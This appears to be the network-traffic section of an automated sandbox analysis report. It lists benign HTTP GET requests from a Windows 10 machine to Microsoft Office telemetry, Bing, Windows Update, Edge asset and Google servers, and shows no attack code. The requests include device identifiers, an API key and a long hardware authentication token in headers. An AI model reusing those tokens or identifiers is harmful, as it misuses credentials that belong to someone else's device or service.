Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381967033_1AUI26TSVPCNDQ022&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381967042_1FKAPEYMF956HWNGL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360284621_15T7M3RM45GPX2VDW&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1665678778&PG=PC000P0FR5.0000000IRU&REQASID=B14448F38FE04EFCA346A78C5108509B&UNID=338389&ASID=d56738594991460693d634ada92e7bbf&&DS_EVTID=B14448F38FE04EFCA346A78C5108509B&DEVOSVER=10.0.19045.2006&REQT=20241127T231907&TIME=20241127T231914Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381672994_1TK9ZKJ3U2IRZIRGY&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381672997_12BAH6BUVD15IMY6K&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1665678778&PG=PC000P0FR5.0000000IRU&REQASID=B14448F38FE04EFCA346A78C5108509B&UNID=338389&ASID=d56738594991460693d634ada92e7bbf&&DS_EVTID=B14448F38FE04EFCA346A78C5108509B&DEVOSVER=10.0.19045.2006&REQT=20241127T231907&TIME=20241127T231914Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=DfvcFhpLtZakfL9&MD=ULFANm9N HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231943Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=1155e51770274ec4a39b99b2da451f86&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604381&metered=false&nettype=ethernet&npid=sc-88000045&oemName=figysj%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=figysj20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604381&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVn6XcywMKzESLTp8a1wABtPIgH6KdsDLjZ8hpGyDxS7xMSGavP2IDDNkzCdlQIDYoGUClSm3k2AbLdxDEnd7yc057d4c4jEbEk6LSz35MZLAQevgKvYq+AmXsm8OLDPIWMxdrJCQwwBdXbZSGDuozqZQXuqN0lEHiJyxczZLKnH5Py0UDzQTr2S4sjknSwxiN/AGnaIouETb7kyQi7Zw+mo+9B8SAiOy9sVWtMK3g9TSOrI6xH552g0cag0HirGSfXtMBasAvh4L0lbQG+mCrF6FQhOZVW1kJjqgjzI/DmOolxgF3xqk4+FbrarE7x9M362oopTg4c6M81QpkZNXMoQZgAAECZPbvdwOyZvoOrsV6mxhuqwAXM3skEsVWs4ZkOruZ6fiQyNkVA01BvnMTW3dfbyWgpopb7pMpC1UXFsl2nUHbGz56QH1/AKtIhfooHsIJA/XCgI90HDxUKhGKHPa8Pm5+BAJdtwfolU8SPVnhj/yiubalrIis4ZguiohXU6Q3cfQmGWo172cyc9J7ewGoSXQ90gjbVflW55beYtn3wid5lVaSxqNQn1ddzUO5we5KUgpxjbptJW8wGFbuh6Sk4zf+e4H9bAMXUHq1iys2TTpZeTLvBmiBCW6GetQRMgzo2rL2WMM9+1ng0gG4MF2HKnj3RSEwl44c77ANowU3tfaGFvqeCNHwSEsGmTm6+Td5fC8IhB/LVucgjAoVe23Zl5FA1/4wyc34mxP4GbKJUbbZ3XnocEtR6FyPiCHjS77PU3noNm2TZwA77bMZ/WD4v+9Dj7rikce9F+0iSTEJTA7HBC0+VTUu1vMILWEOyZ8ZF28Up7U/PWmDPmPKCzkMEVXucRoqFfim2opFM6J3FvDJCrX00fRYTmd+D/NqZblQGJFz4f5iapQrF20hnfO5zKoGyNhJ8eYFozzm49BNsH1JAm19gB&p=Cache-Control: no-cacheMS-CV: r6eEE6CBXkmxMzGA.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8_0vLehrqSEROoVPvvnJxazVUCUwm4cgj27TTdNqy3SLNFvxgUuUx7qqpB-mDi4VawEzddi-23963YluPeV9pfBSfH6CRbLgqohmOSYyAf28TBdmhEoufXQes7eNmO4Au5u-IHbmG5_Np2gkipdYR88JN1lVA4Q8CBJ9FZfEtbgQHYqEj%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3D9c6ed1435f7d1ac716c3b604f788265e&TIME=20241127T231943Z&CID=531538185&EID=531538185&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
